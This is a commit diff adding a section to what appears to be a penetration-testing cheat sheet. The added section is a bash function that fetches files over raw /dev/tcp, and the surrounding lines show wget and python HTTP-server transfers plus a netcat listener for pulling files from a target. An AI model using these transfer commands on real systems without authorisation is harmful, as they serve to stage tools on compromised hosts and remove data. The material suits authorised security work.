Update Cheat Sheet.md

This commit is contained in:
ARZ 2021-08-25 23:48:51 +05:00 committed by GitHub
parent 71bd21644c
commit 1188f6b239
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -126,6 +126,37 @@ python3 -m http.server [port] `By default will listen on 8000`<br/>
`wget http://<ip>:port/<file>`
### Download files only with bash script
```
#!/bin/bash
download() {
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
# send request
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
# read the header, it ends in a empty line (just CRLF)
while IFS= read -r line ; do
[[ "$line" == $'\r' ]] && break
done <&3
# read the data
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s$nul" "$x"
done <&3
exec 3>&-
}
```
### Netcat to download files from target
`nc -l -p [port] > file` Receive file <br/>